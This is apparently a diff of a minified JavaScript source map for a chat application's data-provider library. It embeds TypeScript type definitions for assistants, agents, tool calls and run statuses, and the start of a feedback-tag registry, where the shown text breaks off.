"greeting","spec","expiredAt","fileTokenLimit","resendImages","chatGptLabel","tPresetSchema","omit","merge","presetId","defaultPreset","pick","shareId","isPublic","_id","count","position","googleBaseSchema","removeNullishValues","obj","removeEmptyStrings","newObj","__assign","Object","keys","forEach","key","catch","presencePenalty","frequencyPenalty","stopSequences","thinkingConfig","includeThoughts","strip","_c","_e","_f","_g","_h","_j","_k","_l","_m","_o","bannerId","message","displayFrom","displayTo","persistable","tModelSpecSchema","preset","group","groupIcon","showIconInMenu","showIconInHeader","authType","webSearch","fileSearch","executeCode","mcpServers","specsConfigSchema","enforce","prioritize","list","addedEndpoints","envVarRegex","SENSITIVE_ENV_VARS","isSensitiveEnvVar","varName","has","extractEnvVariable","trimmed","singleMatch","match","process","env","regex","result","matches","exec","push","fullMatch","index","i","length","envValue","substring","assistants","azureAssistants","excelFileTypes","__spreadArray","supportedMimeTypes","defaultSizeLimit","assistantsFileConfig","fileLimit","fileSizeLimit","totalSizeLimit","disabled","supportedMimeTypesSchema","any","refine","mimeTypes","every","mimeType","RegExp","endpointFileConfigSchema","fileConfigSchema","endpoints","serverFileSizeLimit","avatarSizeLimit","imageGeneration","percentage","px","clientImageResize","enabled","maxWidth","maxHeight","quality","ocr","BASE_URL","browser","baseEl","document","querySelector","getAttribute","endsWith","slice","apiBaseUrl","messagesRoot","concat","params","rest","__rest","query","entries","filter","Array","isArray","map","v","encodeURIComponent","join","String","buildQuery","shareRoot","keysEndpoint","apiKeysEndpoint","apiKeys","conversationsRoot","LOGIN_PATH_RE","FileSources","FileContext","AuthTypeEnum","AuthorizationTypeEnum","TokenExchangeMethodEnum","speech","BaseOptionsSchema","startup","iconPath","timeout","sseReadTimeout","positive","initTimeout","serverInstructions","requiresOAuth","oauth","authorization_url","url","token_url","client_id","client_secret","scope","redirect_uri","token_exchange_method","grant_types_supported","token_endpoint_auth_methods_supported","response_types_supported","code_challenge_methods_supported","skip_code_challenge_check","revocation_endpoint","revocation_endpoint_auth_methods_supported","oauth_headers","apiKey","source","authorization_type","custom_header","customUserVars","StdioOptionsSchema","extend","command","args","processedEnv","_i","stderr","WebSocketOptionsSchema","pipe","protocol","URL","SSEOptionsSchema","headers","StreamableHTTPOptionsSchema","MCPOptionsSchema","MCPServersSchema","omitServerManagedFields","schema","envVarPattern","isHttpProtocol","userUrlSchema","protocolCheck","SettingsViews","Capabilities","AgentCapabilities","fileSourceSchema","fileStrategiesSchema","avatar","image","modelConfigSchema","deploymentName","version","azureBaseSchema","serverless","instanceName","addParams","dropParams","baseURL","additionalHeaders","azureGroupSchema","models","and","azureGroupConfigsSchema","RateLimitPrefix","baseEndpointSchema","streamRate","titlePrompt","titleModel","titleConvo","titleMethod","titleEndpoint","titlePromptTemplate","maxToolResultChars","bedrockEndpointSchema","availableRegions","inferenceProfiles","modelItemSchema","assistantEndpointSchema","disableBuilder","pollIntervalMs","timeoutMs","supportedIds","excludedIds","privateAssistants","retrievalModels","capabilities","code_interpreter","image_vision","retrieval","actions","fetch","userIdQuery","defaultAgentCapabilities","deferred_tools","chain","agentsEndpointSchema","recursionLimit","maxRecursionLimit","maxCitations","maxCitationsPerFile","minRelevanceScore","allowedProviders","endpointSchema","safeParse","success","values","summarize","summaryModel","modelDisplayLabel","customParams","defaultParamsEndpoint","paramDefinitions","strict","customOrder","directEndpoint","titleMessageRole","azureEndpointSchema","groups","plugins","partial","vertexModelConfigSchema","vertexAISchema","projectId","serviceKeyFile","anthropicEndpointSchema","vertex","ttsOpenaiSchema","voices","ttsAzureOpenAISchema","apiVersion","ttsElevenLabsSchema","websocketUrl","voice_settings","similarity_boost","stability","style","use_speaker_boost","pronunciation_dictionary_locators","ttsLocalaiSchema","backend","ttsSchema","openai","elevenlabs","localai","sttOpenaiSchema","sttAzureOpenAISchema","sttSchema","speechTab","conversationMode","advancedMode","speechToText","engineSTT","languageSTT","autoTranscribeAudio","decibelValue","autoSendText","textToSpeech","engineTTS","voice","languageTTS","automaticPlayback","playbackRate","cacheTTS","EImageOutputType","rateLimitSchema","fileUploads","ipMax","ipWindowInMinutes","userMax","userWindowInMinutes","conversationsImport","tts","stt","OCRStrategy","SearchCategories","SearchProviders","ScraperProviders","RerankerTypes","SafeSearchTypes","termsOfServiceSchema","externalUrl","openNewTab","modalAcceptance","modalTitle","modalContent","localizedStringSchema","mcpServersSchema","placeholder","use","create","share","public","trustCheckbox","subLabel","interfaceSchema","privacyPolicy","termsOfService","customWelcome","endpointsMenu","modelSelect","sidePanel","multiConvo","bookmarks","memories","presets","prompts","temporaryChat","temporaryChatRetention","runCode","peoplePicker","users","roles","marketplace","fileCitations","remoteAgents","turnstileOptionsSchema","language","size","turnstileSchema","siteKey","KnownEndpoints","FetchTokenConfig","webSearchSchema","serperApiKey","searxngInstanceUrl","searxngApiKey","firecrawlApiKey","firecrawlApiUrl","firecrawlVersion","jinaApiKey","jinaApiUrl","cohereApiKey","searchProvider","scraperProvider","rerankerType","scraperTimeout","safeSearch","MODERATE","firecrawlOptions","formats","includeTags","excludeTags","waitFor","maxAge","mobile","skipTlsVerification","blockAds","removeBase64Images","parsePDF","storeInCache","zeroDataRetention","location","country","languages","onlyMainContent","changeTrackingOptions","modes","prompt","ocrSchema","mistralModel","strategy","MISTRAL_OCR","balanceSchema","startBalance","autoRefillEnabled","refillIntervalValue","refillIntervalUnit","refillAmount","transactionsSchema","memorySchema","validKeys","tokenLimit","charLimit","personalize","messageWindowSize","summarizationTriggerSchema","contextPruningSchema","keepLastAssistants","softTrimRatio","hardClearRatio","minPrunableToolChars","summarizationConfigSchema","trigger","updatePrompt","reserveRatio","maxSummaryTokens","contextPruning","customEndpointsSchema","cache","memory","summarization","secureImageLinks","imageOutputType","PNG","includedTools","filteredTools","mcpSettings","allowedDomains","interface","turnstile","fileStrategy","local","fileStrategies","registration","socialLogins","balance","transactions","rateLimits","fileConfig","modelSpecs","all","data","ollama","deepseek","moonshot","xai","vercel","helicone","VisionModes","InfiniteCollections","Time","CacheKeys","ViolationTypes","ErrorTypes","AuthKeys","ImageDetailCost","SettingsTabValues","STTProviders","TTSProviders","Constants","LocalStorageKeys","ForkOptions","CohereConstants","SystemCategories","sharedOpenAIModels","defaultModels","openAIModels","initialModelsConfig","initial","str","_post","axios","post","JSON","stringify","sent","isRefreshing","failedQueue","refreshToken","retry","endpoints.refreshToken","dispatchTokenUpdatedEvent","token","defaults","common","setTokenHeader","window","dispatchEvent","CustomEvent","detail","processQueue","prom","reject","resolve","interceptors","response","__awaiter","originalRequest","config","Promise","includes","pathname","startsWith","status","_retry","console","warn","err_1","href","endpoints.apiBaseUrl","search","hash","p","s","h","stripped","currentPath","endpoints.buildLoginRedirectUrl","err_2","request","get","getResponse","postMultiPart","formData","postTTS","responseType","put","delete","deleteWithOptions","patch","revokeUserKey","endpoints.revokeUserKey","revokeAllUserKeys","getSharedMessages","endpoints.shareMessages","getSharedLink","endpoints.getSharedLink","updateUserKey","payload","Error","deleteAgentApiKey","endpoints.apiKeyById","createPreset","deletePreset","arg","updateTokenCount","register","userKeyQuery","endpoints.userKeyQuery","requestPasswordReset","resetPassword","getAvailablePlugins","updateUserPlugins","reinitializeMCPServer","serverName","endpoints.mcpReinitialize","getMCPServerConnectionStatus","endpoints.mcpServerConnectionStatus","cancelMCPOAuth","endpoints.cancelMCPOAuth","QueryKeys","MutationKeys","PrincipalType","PrincipalModel","ResourceType","PermissionBits","AccessRoleIds","getCustomConfigSpeech","clearAllConversations","getConversationById","endpoints.conversationById","updateFeedback","endpoints.feedback","searchPrincipals","q","types","endpoints.searchPrincipals","getAccessRoles","resourceType","endpoints.getAccessRoles","getResourcePermissions","resourceId","endpoints.getResourcePermissions","updateResourcePermissions","endpoints.updateResourcePermissions","getEffectivePermissions","endpoints.getEffectivePermissions","getAllEffectivePermissions","endpoints.getAllEffectivePermissions","principalSchema","idOnTheSource","accessRoleId","memberCount","accessRoleSchema","AGENT","permBits","permissionEntrySchema","principalType","principalId","principalName","role","grantedBy","grantedAt","inheritedFrom","hasPermissions","permissions","requiredPermission","updated","removed","publicAccessRoleId","results","principals","permissionBits","useGetSharedMessages","useQuery","sharedMessages","dataService.getSharedMessages","refetchOnWindowFocus","refetchOnReconnect","refetchOnMount","useGetSharedLinkQuery","queryClient","useQueryClient","sharedLinks","dataService.getSharedLink","NEW_CONVO","PENDING_CONVO","onSuccess","setQueryData","useGetConversationByIdQuery","conversation","dataService.getConversationById","useGetConversationByIdMutation","useMutation","invalidateQueries","useUpdateMessageMutation","endpoints.messages","dataService.updateMessage","useUpdateMessageContentMutation","dataService.updateMessageContent","useUpdateUserKeysMutation","dataService.updateUserKey","variables","useClearConversationsMutation","dataService.clearAllConversations","allConversations","useRevokeUserKeyMutation","dataService.revokeUserKey","_endpoint","toLowerCase","assistantDocs","assistant","mcpTools","useRevokeAllUserKeysMutation","dataService.revokeAllUserKeys","s.EModelEndpoint","useGetModelsQuery","initialData","staleTime","Infinity","useCreatePresetMutation","dataService.createPreset","useDeletePresetMutation","dataService.deletePreset","useUpdateTokenCountMutation","dataService.updateTokenCount","tokenCount","useRegisterUserMutation","dataService.register","arguments","apply","useUserKeyQuery","dataService.userKeyQuery","expiresAt","useRequestPasswordResetMutation","dataService.requestPasswordReset","useResetPasswordMutation","dataService.resetPassword","useAvailablePluginsQuery","availablePlugins","dataService.getAvailablePlugins","useUpdateUserPluginsMutation","_options","dataService.updateUserPlugins","action","mcp_prefix","mcpAuthValues","useReinitializeMCPServerMutation","dataService.reinitializeMCPServer","useCancelMCPOAuthMutation","dataService.cancelMCPOAuth","mcpConnectionStatus","useGetCustomConfigSpeechQuery","customConfigSpeech","dataService.getCustomConfigSpeech","useUpdateFeedbackMutation","dataService.updateFeedback","useSearchPrincipalsQuery","principalSearch","dataService.searchPrincipals","useGetAccessRolesQuery","accessRoles","dataService.getAccessRoles","useGetResourcePermissionsQuery","resourcePermissions","dataService.getResourcePermissions","useUpdateResourcePermissionsMutation","mutationFn","dataService.updateResourcePermissions","_","queryKey","effectivePermissions","useGetEffectivePermissionsQuery","queryFn","dataService.getEffectivePermissions","useGetAllEffectivePermissionsQuery","dataService.getAllEffectivePermissions","useMCPServerConnectionStatusQuery","dataService.getMCPServerConnectionStatus","useGetAgentApiKeysQuery","agentApiKeys","endpoints.apiKeys","useCreateAgentApiKeyMutation","dataService.createAgentApiKey","useDeleteAgentApiKeyMutation","dataService.deleteAgentApiKey"],"mappings":"uIAiBYA,EAWAC,EAibAC,EAKAC,EAQAC,EAOAC,EAoIAC,2rEAplBZ,SAAYN,GACVA,EAAA,aAAA,eACAA,EAAA,iBAAA,mBACAA,EAAA,YAAA,cACAA,EAAA,WAAA,aACAA,EAAA,UAAA,YACAA,EAAA,SAAA,WACAA,EAAA,OAAA,SACAA,EAAA,aAAA,cACD,CATD,CAAYA,IAAAA,EAAK,CAAA,IAWjB,SAAYC,GACVA,EAAA,iBAAA,mBACAA,EAAA,aAAA,eACAA,EAAA,YAAA,cACAA,EAAA,WAAA,aACAA,EAAA,QAAA,UACAA,EAAA,IAAA,KACD,CAPD,CAAYA,IAAAA,EAAc,CAAA,IAib1B,SAAYC,GACVA,EAAA,cAAA,gBACAA,EAAA,UAAA,WACD,CAHD,CAAYA,IAAAA,EAAe,CAAA,IAK3B,SAAYC,GACVA,EAAA,YAAA,cACAA,EAAA,UAAA,YACAA,EAAA,OAAA,SACAA,EAAA,UAAA,YACAA,EAAA,QAAA,SACD,CAND,CAAYA,IAAAA,EAAU,CAAA,IAQtB,SAAYC,GACVA,EAAA,KAAA,OACAA,EAAA,WAAA,YACD,CAHD,CAAYA,IAAAA,EAAmB,CAAA,IAO/B,SAAYC,GACVA,EAAA,OAAA,SACAA,EAAA,YAAA,cACAA,EAAA,gBAAA,kBACAA,EAAA,WAAA,aACAA,EAAA,UAAA,YACAA,EAAA,OAAA,SACAA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nB,GAAQ/C,KAAKyP,KAAqBvL,EAC3C,CG0c8CyL,CAA8BzL,EAA9B,GAC1C,CACEyF,UAAW,WACTN,EAAYa,kBAAkB,CAAC1E,GAAUgK,cAC3C,GAGN,EAEaI,GAA+B,WAC1C,IAAMvG,EAAcC,IACpB,OAAOW,GAAY,SAACtzB,GAAe,OAAAk5B,GAA8Bl5B,EAA9B,GAAmC,CACpEgzB,UAAW,WACTN,EAAYa,kBAAkB,CAAC1E,GAAUgK,cAC3C,GAEJ"}
1
+ {"version":3,"file":"index.es.js","sources":["../../src/types/assistants.ts","../../src/feedback.ts","../../src/schemas.ts","../../src/generate.ts","../../src/models.ts","../../src/utils.ts","../../src/file-config.ts","../../src/api-endpoints.ts","../../src/types/files.ts","../../src/types/agents.ts","../../src/mcp.ts","../../src/config.ts","../../src/request.ts","../../src/headers-helpers.ts","../../src/data-service.ts","../../src/keys.ts","../../src/accessPermissions.ts","../../src/react-query/react-query-service.ts"],"sourcesContent":["import type { OpenAPIV3 } from 'openapi-types';\nimport type { AssistantsEndpoint, AgentProvider } from 'src/schemas';\nimport type { Agents, GraphEdge } from './agents';\nimport type { ContentTypes } from './runs';\nimport type { TFile } from './files';\nimport { ArtifactModes } from 'src/artifacts';\n\nexport type Schema = OpenAPIV3.SchemaObject & { description?: string };\nexport type Reference = OpenAPIV3.ReferenceObject & { description?: string };\n\nexport type Metadata = {\n avatar?: string;\n author?: string;\n} & {\n [key: string]: unknown;\n};\n\nexport enum Tools {\n execute_code = 'execute_code',\n code_interpreter = 'code_interpreter',\n file_search = 'file_search',\n web_search = 'web_search',\n retrieval = 'retrieval',\n function = 'function',\n memory = 'memory',\n ui_resources = 'ui_resources',\n}\n\nexport enum EToolResources {\n code_interpreter = 'code_interpreter',\n execute_code = 'execute_code',\n file_search = 'file_search',\n image_edit = 'image_edit',\n context = 'context',\n ocr = 'ocr',\n}\n\nexport type Tool = {\n [type: string]: Tools;\n};\n\nexport type FunctionTool = {\n type: Tools;\n function?: {\n description: string;\n name: string;\n parameters: Record<string, unknown>;\n strict?: boolean;\n additionalProperties?: boolean; // must be false if strict is true https://platform.openai.com/docs/guides/structured-outputs/some-type-specific-keywords-are-not-yet-supported\n };\n};\n\n/**\n * A set of resources that are used by the assistant's tools. The resources are\n * specific to the type of tool. For example, the `code_interpreter` tool requires\n * a list of file IDs, while the `file_search` tool requires a list of vector store\n * IDs.\n */\nexport interface ToolResources {\n code_interpreter?: CodeInterpreterResource;\n file_search?: FileSearchResource;\n}\nexport interface CodeInterpreterResource {\n /**\n * A list of [file](https://platform.openai.com/docs/api-reference/files) IDs made\n * available to the `code_interpreter`` tool. There can be a maximum of 20 files\n * associated with the tool.\n */\n file_ids?: Array<string>;\n}\n\nexport interface FileSearchResource {\n /**\n * The ID of the\n * [vector store](https://platform.openai.com/docs/api-reference/vector-stores/object)\n * attached to this assistant. There can be a maximum of 1 vector store attached to\n * the assistant.\n */\n vector_store_ids?: Array<string>;\n}\n\n/* Assistant types */\n\nexport type Assistant = {\n id: string;\n created_at: number;\n description: string | null;\n file_ids?: string[];\n instructions: string | null;\n conversation_starters?: string[];\n metadata: Metadata | null;\n model: string;\n name: string | null;\n object: string;\n tools?: FunctionTool[];\n tool_resources?: ToolResources;\n};\n\nexport type TAssistantsMap = Record<AssistantsEndpoint, Record<string, Assistant>>;\n\nexport type AssistantCreateParams = {\n model: string;\n description?: string | null;\n file_ids?: string[];\n instructions?: string | null;\n conversation_starters?: string[];\n metadata?: Metadata | null;\n name?: string | null;\n tools?: Array<FunctionTool | string>;\n endpoint: AssistantsEndpoint;\n version: number | string;\n append_current_datetime?: boolean;\n};\n\nexport type AssistantUpdateParams = {\n model?: string;\n description?: string | null;\n file_ids?: string[];\n instructions?: string | null;\n conversation_starters?: string[] | null;\n metadata?: Metadata | null;\n name?: string | null;\n tools?: Array<FunctionTool | string>;\n tool_resources?: ToolResources;\n endpoint: AssistantsEndpoint;\n append_current_datetime?: boolean;\n};\n\nexport type AssistantListParams = {\n limit?: number;\n before?: string | null;\n after?: string | null;\n order?: 'asc' | 'desc';\n endpoint: AssistantsEndpoint;\n};\n\nexport type AssistantListResponse = {\n object: string;\n data: Assistant[];\n first_id: string;\n last_id: string;\n has_more: boolean;\n};\n\nexport type File = {\n file_id: string;\n id?: string;\n temp_file_id?: string;\n bytes: number;\n created_at: number;\n filename: string;\n object: string;\n purpose: 'fine-tune' | 'fine-tune-results' | 'assistants' | 'assistants_output';\n};\n\n/* Agent types */\n\nexport type AgentParameterValue = number | string | null;\n\nexport type AgentModelParameters = {\n model?: string;\n temperature: AgentParameterValue;\n maxContextTokens: AgentParameterValue;\n max_context_tokens: AgentParameterValue;\n max_output_tokens: AgentParameterValue;\n top_p: AgentParameterValue;\n frequency_penalty: AgentParameterValue;\n presence_penalty: AgentParameterValue;\n useResponsesApi?: boolean;\n};\n\nexport interface AgentBaseResource {\n /**\n * A list of file IDs made available to the tool.\n */\n file_ids?: Array<string>;\n /**\n * A list of files already fetched.\n */\n files?: Array<TFile>;\n}\n\nexport interface AgentToolResources {\n [EToolResources.image_edit]?: AgentBaseResource;\n [EToolResources.execute_code]?: ExecuteCodeResource;\n [EToolResources.file_search]?: AgentFileResource;\n [EToolResources.context]?: AgentBaseResource;\n /** @deprecated Use context instead */\n [EToolResources.ocr]?: AgentBaseResource;\n}\n/**\n * A resource for the execute_code tool.\n * Contains file IDs made available to the tool (max 20 files) and already fetched files.\n */\nexport type ExecuteCodeResource = AgentBaseResource;\n\nexport interface AgentFileResource extends AgentBaseResource {\n /**\n * The ID of the vector store attached to this agent. There\n * can be a maximum of 1 vector store attached to the agent.\n */\n vector_store_ids?: Array<string>;\n}\nexport type SupportContact = {\n name?: string;\n email?: string;\n};\n\n/**\n * Specifies who can invoke a tool.\n * - 'direct': LLM can call directly\n * - 'code_execution': Only callable via programmatic tool calling (PTC)\n */\nexport type AllowedCaller = 'direct' | 'code_execution';\n\n/**\n * Per-tool configuration options stored at the agent level.\n * Keyed by tool_id (e.g., \"search_mcp_github\").\n */\nexport type ToolOptions = {\n /**\n * If true, the tool uses deferred loading (discoverable via tool search).\n * @default false\n */\n defer_loading?: boolean;\n /**\n * Specifies who can invoke this tool.\n * - 'direct': LLM can call directly (default behavior)\n * - 'code_execution': Only callable via PTC sandbox\n * @default ['direct']\n */\n allowed_callers?: AllowedCaller[];\n};\n\n/**\n * Map of tool_id to its configuration options.\n * Used to customize tool behavior per agent.\n */\nexport type AgentToolOptions = Record<string, ToolOptions>;\n\nexport type Agent = {\n _id?: string;\n id: string;\n name: string | null;\n author?: string | null;\n /** The original custom endpoint name, lowercased */\n endpoint?: string | null;\n authorName?: string | null;\n description: string | null;\n created_at: number;\n avatar: AgentAvatar | null;\n instructions?: string | null;\n additional_instructions?: string | null;\n tools?: string[];\n tool_kwargs?: Record<string, unknown>;\n metadata?: Record<string, unknown>;\n provider: AgentProvider;\n model: string | null;\n model_parameters: AgentModelParameters;\n conversation_starters?: string[];\n tool_resources?: AgentToolResources;\n /** @deprecated Use edges instead */\n agent_ids?: string[];\n edges?: GraphEdge[];\n end_after_tools?: boolean;\n hide_sequential_outputs?: boolean;\n artifacts?: ArtifactModes;\n recursion_limit?: number;\n isPublic?: boolean;\n version?: number;\n category?: string;\n support_contact?: SupportContact;\n /** Per-tool configuration options (deferred loading, allowed callers, etc.) */\n tool_options?: AgentToolOptions;\n};\n\nexport type TAgentsMap = Record<string, Agent | undefined>;\n\nexport type AgentCreateParams = {\n name?: string | null;\n description?: string | null;\n avatar?: AgentAvatar | null;\n file_ids?: string[];\n instructions?: string | null;\n tools?: Array<FunctionTool | string>;\n provider: AgentProvider;\n model: string | null;\n model_parameters: AgentModelParameters;\n} & Pick<\n Agent,\n | 'agent_ids'\n | 'edges'\n | 'end_after_tools'\n | 'hide_sequential_outputs'\n | 'artifacts'\n | 'recursion_limit'\n | 'category'\n | 'support_contact'\n | 'tool_options'\n>;\n\nexport type AgentUpdateParams = {\n name?: string | null;\n description?: string | null;\n avatar?: AgentAvatar | null;\n file_ids?: string[];\n instructions?: string | null;\n tools?: Array<FunctionTool | string>;\n tool_resources?: ToolResources;\n provider?: AgentProvider;\n model?: string | null;\n model_parameters?: AgentModelParameters;\n} & Pick<\n Agent,\n | 'agent_ids'\n | 'edges'\n | 'end_after_tools'\n | 'hide_sequential_outputs'\n | 'artifacts'\n | 'recursion_limit'\n | 'category'\n | 'support_contact'\n | 'tool_options'\n>;\n\nexport type AgentListParams = {\n limit?: number;\n requiredPermission: number;\n category?: string;\n search?: string;\n cursor?: string;\n promoted?: 0 | 1;\n};\n\nexport type AgentListResponse = {\n object: string;\n data: Agent[];\n first_id: string;\n last_id: string;\n has_more: boolean;\n after?: string;\n};\n\nexport type AgentFile = {\n file_id: string;\n id?: string;\n temp_file_id?: string;\n bytes: number;\n created_at: number;\n filename: string;\n object: string;\n purpose: 'fine-tune' | 'fine-tune-results' | 'agents' | 'agents_output';\n};\n\n/**\n * Details of the Code Interpreter tool call the run step was involved in.\n * Includes the tool call ID, the code interpreter definition, and the type of tool call.\n */\nexport type CodeToolCall = {\n id: string; // The ID of the tool call.\n code_interpreter: {\n input: string; // The input to the Code Interpreter tool call.\n outputs: Array<Record<string, unknown>>; // The outputs from the Code Interpreter tool call.\n };\n type: 'code_interpreter'; // The type of tool call, always 'code_interpreter'.\n};\n\n/**\n * Details of a Function tool call the run step was involved in.\n * Includes the tool call ID, the function definition, and the type of tool call.\n */\nexport type FunctionToolCall = {\n id: string; // The ID of the tool call object.\n function: {\n arguments: string; // The arguments passed to the function.\n name: string; // The name of the function.\n output: string | null; // The output of the function, null if not submitted.\n };\n type: 'function'; // The type of tool call, always 'function'.\n};\n\n/**\n * Details of a Retrieval tool call the run step was involved in.\n * Includes the tool call ID and the type of tool call.\n */\nexport type RetrievalToolCall = {\n id: string; // The ID of the tool call object.\n retrieval: unknown; // An empty object for now.\n type: 'retrieval'; // The type of tool call, always 'retrieval'.\n};\n\n/**\n * Details of a Retrieval tool call the run step was involved in.\n * Includes the tool call ID and the type of tool call.\n */\nexport type FileSearchToolCall = {\n id: string; // The ID of the tool call object.\n file_search: unknown; // An empty object for now.\n type: 'file_search'; // The type of tool call, always 'retrieval'.\n};\n\n/**\n * Details of the tool calls involved in a run step.\n * Can be associated with one of three types of tools: `code_interpreter`, `retrieval`, or `function`.\n */\nexport type ToolCallsStepDetails = {\n tool_calls: Array<CodeToolCall | RetrievalToolCall | FileSearchToolCall | FunctionToolCall>; // An array of tool calls the run step was involved in.\n type: 'tool_calls'; // Always 'tool_calls'.\n};\n\nexport type ImageFile = TFile & {\n /**\n * The [File](https://platform.openai.com/docs/api-reference/files) ID of the image\n * in the message content.\n */\n file_id: string;\n filename: string;\n filepath: string;\n height: number;\n width: number;\n /**\n * Prompt used to generate the image if applicable.\n */\n prompt?: string;\n /**\n * Additional metadata used to generate or about the image/tool_call.\n */\n metadata?: Record<string, unknown>;\n};\n\n// FileCitation.ts\nexport type FileCitation = {\n end_index: number;\n file_citation: FileCitationDetails;\n start_index: number;\n text: string;\n type: 'file_citation';\n};\n\nexport type FileCitationDetails = {\n file_id: string;\n quote: string;\n};\n\nexport type FilePath = {\n end_index: number;\n file_path: FilePathDetails;\n start_index: number;\n text: string;\n type: 'file_path';\n};\n\nexport type FilePathDetails = {\n file_id: string;\n};\n\nexport type Text = {\n annotations?: Array<FileCitation | FilePath>;\n value: string;\n};\n\nexport enum AnnotationTypes {\n FILE_CITATION = 'file_citation',\n FILE_PATH = 'file_path',\n}\n\nexport enum StepStatus {\n IN_PROGRESS = 'in_progress',\n CANCELLED = 'cancelled',\n FAILED = 'failed',\n COMPLETED = 'completed',\n EXPIRED = 'expired',\n}\n\nexport enum MessageContentTypes {\n TEXT = 'text',\n IMAGE_FILE = 'image_file',\n}\n\n//enum for RunStatus\n// The status of the run: queued, in_progress, requires_action, cancelling, cancelled, failed, completed, or expired.\nexport enum RunStatus {\n QUEUED = 'queued',\n IN_PROGRESS = 'in_progress',\n REQUIRES_ACTION = 'requires_action',\n CANCELLING = 'cancelling',\n CANCELLED = 'cancelled',\n FAILED = 'failed',\n COMPLETED = 'completed',\n EXPIRED = 'expired',\n}\n\nexport type PartMetadata = {\n progress?: number;\n asset_pointer?: string;\n status?: string;\n action?: boolean;\n auth?: string;\n expires_at?: number;\n /** Index indicating parallel sibling content (same stepIndex in multi-agent runs) */\n siblingIndex?: number;\n /** Agent ID for parallel agent rendering - identifies which agent produced this content */\n agentId?: string;\n /** Group ID for parallel content - parts with same groupId are displayed in columns */\n groupId?: number;\n};\n\n/** Metadata for parallel content rendering - subset of PartMetadata */\nexport type ContentMetadata = Pick<PartMetadata, 'agentId' | 'groupId'>;\n\nexport type ContentPart = (\n | CodeToolCall\n | RetrievalToolCall\n | FileSearchToolCall\n | FunctionToolCall\n | Agents.AgentToolCall\n | ImageFile\n | Text\n) &\n PartMetadata;\n\nexport type TextData = (Text & PartMetadata) | undefined;\n\nexport type SummaryContentPart = {\n type: ContentTypes.SUMMARY;\n content?: Array<{ type: ContentTypes.TEXT; text: string }>;\n tokenCount?: number;\n summarizing?: boolean;\n summaryVersion?: number;\n model?: string;\n provider?: string;\n createdAt?: string;\n boundary?: {\n messageId: string;\n contentIndex: number;\n };\n};\n\nexport type TMessageContentParts =\n | ({\n type: ContentTypes.ERROR;\n text?: string | TextData;\n error?: string;\n } & ContentMetadata)\n | ({ type: ContentTypes.THINK; think?: string | TextData } & ContentMetadata)\n | ({\n type: ContentTypes.TEXT;\n text?: string | TextData;\n tool_call_ids?: string[];\n } & ContentMetadata)\n | ({\n type: ContentTypes.TOOL_CALL;\n tool_call: (\n | CodeToolCall\n | RetrievalToolCall\n | FileSearchToolCall\n | FunctionToolCall\n | Agents.AgentToolCall\n ) &\n PartMetadata;\n } & ContentMetadata)\n | ({ type: ContentTypes.IMAGE_FILE; image_file: ImageFile & PartMetadata } & ContentMetadata)\n | (SummaryContentPart & ContentMetadata)\n | (Agents.AgentUpdate & ContentMetadata)\n | (Agents.MessageContentImageUrl & ContentMetadata)\n | (Agents.MessageContentVideoUrl & ContentMetadata)\n | (Agents.MessageContentInputAudio & ContentMetadata);\n\nexport type StreamContentData = TMessageContentParts & {\n /** The index of the current content part */\n index: number;\n /** The current text content was already served but edited to replace elements therein */\n edited?: boolean;\n};\n\nexport type TContentData = StreamContentData & {\n messageId: string;\n conversationId: string;\n userMessageId: string;\n thread_id: string;\n stream?: boolean;\n};\n\nexport const actionDelimiter = '_action_';\nexport const actionDomainSeparator = '---';\nexport const hostImageIdSuffix = '_host_copy';\nexport const hostImageNamePrefix = 'host_copy_';\n\nexport type AssistantAvatar = {\n filepath: string;\n source: string;\n};\n\nexport type AssistantDocument = {\n user: string;\n assistant_id: string;\n conversation_starters?: string[];\n avatar?: AssistantAvatar;\n access_level?: number;\n file_ids?: string[];\n actions?: string[];\n createdAt?: Date;\n updatedAt?: Date;\n append_current_datetime?: boolean;\n};\n\n/* Agent types */\n\nexport type AgentAvatar = {\n filepath: string;\n source: string;\n};\n\nexport enum FilePurpose {\n Vision = 'vision',\n FineTune = 'fine-tune',\n FineTuneResults = 'fine-tune-results',\n Assistants = 'assistants',\n AssistantsOutput = 'assistants_output',\n}\n\nexport const defaultOrderQuery: {\n order: 'desc';\n limit: 100;\n} = {\n order: 'desc',\n limit: 100,\n};\n\nexport enum AssistantStreamEvents {\n ThreadCreated = 'thread.created',\n ThreadRunCreated = 'thread.run.created',\n ThreadRunQueued = 'thread.run.queued',\n ThreadRunInProgress = 'thread.run.in_progress',\n ThreadRunRequiresAction = 'thread.run.requires_action',\n ThreadRunCompleted = 'thread.run.completed',\n ThreadRunFailed = 'thread.run.failed',\n ThreadRunCancelling = 'thread.run.cancelling',\n ThreadRunCancelled = 'thread.run.cancelled',\n ThreadRunExpired = 'thread.run.expired',\n ThreadRunStepCreated = 'thread.run.step.created',\n ThreadRunStepInProgress = 'thread.run.step.in_progress',\n ThreadRunStepCompleted = 'thread.run.step.completed',\n ThreadRunStepFailed = 'thread.run.step.failed',\n ThreadRunStepCancelled = 'thread.run.step.cancelled',\n ThreadRunStepExpired = 'thread.run.step.expired',\n ThreadRunStepDelta = 'thread.run.step.delta',\n ThreadMessageCreated = 'thread.message.created',\n ThreadMessageInProgress = 'thread.message.in_progress',\n ThreadMessageCompleted = 'thread.message.completed',\n ThreadMessageIncomplete = 'thread.message.incomplete',\n ThreadMessageDelta = 'thread.message.delta',\n ErrorEvent = 'error',\n}\n","import { z } from 'zod';\n\nexport type TFeedbackRating = 'thumbsUp' | 'thumbsDown';\nexport const FEEDBACK_RATINGS = ['thumbsUp', 'thumbsDown'] as const;\n\nexport const FEEDBACK_REASON_KEYS = [\n // Down\n 'not_matched',\n 'inaccurate',\n 'bad_style',\n 'missing_image',\n 'unjustified_refusal',\n 'not_helpful',\n 'other',\n // Up\n 'accurate_reliable',\n 'creative_solution',\n 'clear_well_written',\n 'attention_to_detail',\n] as const;\n\nexport type TFeedbackTagKey = (typeof FEEDBACK_REASON_KEYS)[number];\n\nexport interface TFeedbackTag {\n key: TFeedbackTagKey;\n label: string;\n direction: TFeedbackRating;\n icon: string;\n}\n\n// --- Tag Registry ---\nexport const FEEDBACK_TAGS: TFeedbackTag[] = [\n // Thumbs Down\n {\n key: 'not_matched',\n label: 'com_ui_feedback_tag_not_matched',\n direction: 'thumbsDown',\n icon: 'AlertCircle',\n },\n {\n key: 'inaccurate',\n label: 'com_ui_feedback_tag_inaccurate',\n direction: 'thumbsDown',\n icon: 'AlertCircle',\n },\n {\n key: 'bad_style',\n label: 'com_ui_feedback_tag_bad_style',\n direction: 'thumbsDown',\n icon: 'PenTool',\n },\n {\n key: 'missing_image',\n label: 'com_ui_feedback_tag_missing_image',\n direction: 